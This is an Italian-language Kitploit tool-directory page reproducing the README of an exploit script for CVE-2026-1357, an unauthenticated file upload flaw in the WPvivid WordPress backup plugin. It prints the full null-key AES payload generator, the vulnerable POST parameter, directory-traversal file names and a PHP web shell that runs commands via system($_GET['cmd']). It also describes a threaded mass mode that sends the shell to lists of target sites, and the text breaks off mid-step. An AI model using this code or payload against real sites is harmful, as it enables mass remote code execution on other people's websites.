Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-1357 — Migration, Backup, Staging <= 0.9.123 - Caricamento arbitrario di file senza autenticazione | Kitploit
Strumenti/GitHubGitHub/nxploited/cve-2026-1357
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed Teaming
GitHubnxploited/cve-2026-1357

CVE-2026-1357

Migration, Backup, Staging <= 0.9.123 - Caricamento arbitrario di file senza autenticazione

Vedi Repository
1157 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

🧨 CVE-2026-1357 – Strumento di sfruttamento WPvivid Null-Key (CVE-2026-1357.py)

Migration, Backup, Staging – WPvivid Backup & Migration ≤ 0.9.123
Vulnerabilità: Upload Arbitrario di File Non Autenticato → Esecuzione di Codice Remoto
CVE: CVE-2026-1357 – CVSS 9.8 (Critico)

GitHub: https://github.com/Nxploited
Telegram: @KNxploited


🧬 Cosa fa questo script

Nxploited

CVE-2026-1357.py è uno strumento di sfruttamento proof-of-concept per la vulnerabilità WPvivid. Si concentra sulla gestione difettosa della sessione AES che consente a un attaccante di:

  1. Crittografare un payload con una chiave/IV AES nulli (tutti byte zero) nello stesso formato previsto da WPvivid.
  2. Incorporare contenuto di file arbitrario (es. shell PHP) e un nome/percorso (name) scelto all'interno del payload.
  3. Inviare questo payload all'endpoint WPvivid tramite il parametro wpvivid_action=send_to_site.
  4. (Opzionalmente) verificare se il file è stato scritto con successo ed è accessibile.

Lo script non tenta di indovinare o abusare direttamente delle chiavi private. Simula invece il flusso corrotto di WPvivid in cui un openssl_private_decrypt() fallito porta all'inizializzazione del cifrario AES di phpseclib con una chiave nulla.


🧠 Dettagli tecnici interni

🔐 Payload AES Null-Key

Il cuore dell'exploit è in gen_wpvivid_payload():

  • Costruisce una struttura JSON:

    {
      "name": "<file_name>",
      "offset": 0,
      "data": "<base64(file_bytes)>",
      "file_size": <len(file_bytes)>,
      "md5": "<md5(file_bytes)>"
    }
    
  • Serializza questo JSON (forma compatta, senza spazi).

  • Crittografa il JSON usando:

    • AES-128-CBC
    • key = b"\x00" * 16
    • iv = b"\x00" * 16
  • Antepone quindi:

    • 3 byte: "000" (segnaposto statico per il campo lunghezza).
    • 16 byte in esadecimale maiuscolo: lunghezza del cifrato codificata come "{len(cipher):016X}".
  • Il blob crittografato finale è:

    "000" + <16-byte hex lunghezza cifrato> + <ciphertext AES-CBC grezzo>
    
  • Questo blob viene codificato in base64 e restituito come valore finale di wpvivid_content.

Funzione:

def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
    file_md5 = hashlib.md5(file_bytes).hexdigest()
    json_obj = {
        "name": file_name,
        "offset": 0,
        "data": base64.b64encode(file_bytes).decode(),
        "file_size": len(file_bytes),
        "md5": file_md5,
    }
    json_str = json.dumps(json_obj, separators=(",", ":")).encode()
    cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
    encrypted = cipher.encrypt(pad(json_str, AES.block_size))
    key_len_field = b"000"
    cipherlen_field = f"{len(encrypted):016X}".encode()
    blob = key_len_field + cipherlen_field + encrypted
    return base64.b64encode(blob).decode()

Questo corrisponde alle aspettative di decrittazione di WPvivid nel percorso di codice vulnerabile dopo il fallimento della decrittazione RSA.


🧰 Funzionalità e modalità

Lo script ha due modalità principali più una capacità di test di massa:

  1. mood1 – Generatore di Payload

    • Genera un valore valido di wpvivid_content usando il trucco della chiave nulla.
    • Supporta più modi per definire il contenuto del file.
    • Avvia opzionalmente il Mass Tester contro un elenco di target.
  2. mood2 – Tester su Target Singolo

    • Usa un payload generato in precedenza.
    • Testa un singolo target end-to-end:
      • Invia il payload.
      • Costruisce l'URL del file risultante atteso.
      • Verifica se il file è raggiungibile.
  3. Mass Mode (da mood1)

    • Invia un payload scelto a più target da un file di elenco.
    • Usa concorrenza e una barra di avanzamento.
    • Traccia e registra gli upload riusciti.

🚦 Esecuzione dello script

python3 CVE-2026-1357.py

Vedrai una UI basata su Rich con un banner e la selezione della modalità:

  • mood1 – Generatore di Payload
  • mood2 – Tester su Target Singolo

🧪 Modalità: mood1 – Generatore di Payload

Scopo

  • Creare un payload exploit (wpvivid_content) che codifica:
    • Il percorso/nome del file che vuoi che WPvivid scriva.
    • Il contenuto del file (shell, file di test, ecc.).

Flusso

  1. Selezione modalità

    Quando richiesto:

    Choose mode (mood1/mood2) [mood1]:
    

    Premi Invio (predefinito mood1) o digita mood1.

  2. Nome file / percorso target

    Ti viene chiesto:

    Target file name (e.g., Nx_.php or ../../public/Nx_.php):
    

    Esempi:

    • Per rilasciare un file nella directory di backup di WPvivid:

      Nx_.php
      
    • Per abusare del directory traversal (se consentito dal target):

      ../../public_html/Nx_.php
      

    Il valore viene inserito nel campo name del payload JSON.

  3. Modalità di inserimento contenuto

    Lo script mostra tre modi per definire il contenuto del file:

    • Modalità 1: contenuto su riga singola.
    • Modalità 2: contenuto su più righe (termina con EOF).
    • Modalità 3: lettura da un file locale (es. shell.php).

    Ti viene chiesto:

    Mode [1/2/3] [1]:
    
    • Modalità 1 – Riga singola

      Single line content:
      

      Esempio di input:

      <?php phpinfo();
      
    • Modalità 2 – Multi-riga

      Enter file content, line by line. Type 'EOF' on its own line when done.
      

      Puoi incollare o digitare uno script PHP multi-riga, quindi terminare con EOF su una riga dedicata:

      <?php
      echo "Nxploited shell";
      system($_GET['cmd'] ?? 'id');
      ?>
      EOF
      
    • Modalità 3 – File locale

      Local file path (e.g., shell.php):
      

      Lo script legge l'intero file in file_bytes.

  4. Generazione payload

    Una volta acquisito il contenuto, lo script:

    • Costruisce l'oggetto JSON.
    • Lo crittografa con AES-CBC a chiave nulla.
    • Confeziona il blob binario.
    • Lo codifica in base64.

    Vedrai un output come:

    Payload generated.
    Use the value after '=' as wpvivid_content.
    
    wpvivid_content=BASE64_BLOB_HERE
    

    E viene scritto un file wpvivid_payload.txt:

    file_name=Nx_.php
    wpvivid_content=BASE64_BLOB_HERE
    

Modalità Mass opzionale da mood1

Dopo aver generato il payload, lo script chiede:

Auto-send this payload to targets list (mass mode)? (y/N):

Se rispondi y, avvia la mass mode con il payload e il nome file appena creati.


🌐 Mass Mode – Target Multipli

Scopo

  • Prendere un singolo payload exploit e testarlo contro un elenco di target.

Flusso

  1. File dei target

    Esempio di richiesta:

    Targets list file (one URL per line):
    

    Formato atteso del file (es. targets.txt):

    https://site1.com
    site2.com
    http://site3.net
    

    Lo script normalizzerà automaticamente gli URL base (aggiungendo lo schema dove manca).

  2. Numero di thread

    Threads (concurrent sites) [5]:
    

    Controlla quanti siti vengono elaborati in parallelo.

  3. Logica per target

    Per ogni target:

    • Normalizza l'URL → base_url.

    • Chiama:

      send_wpvivid_payload(base_url, payload)
      

      che:

      • Costruisce la POST con wpvivid_action=send_to_site + wpvivid_content=<payload>.
      • Invia tramite una nuova sessione con impostazioni ottimizzate del connection pool.
      • Controlla se la risposta contiene {"result":"success"} (controllo in forma compatta).
    • Se l'upload è considerato riuscito:

      • Costruisce shell_url come:
Scarica lo strumento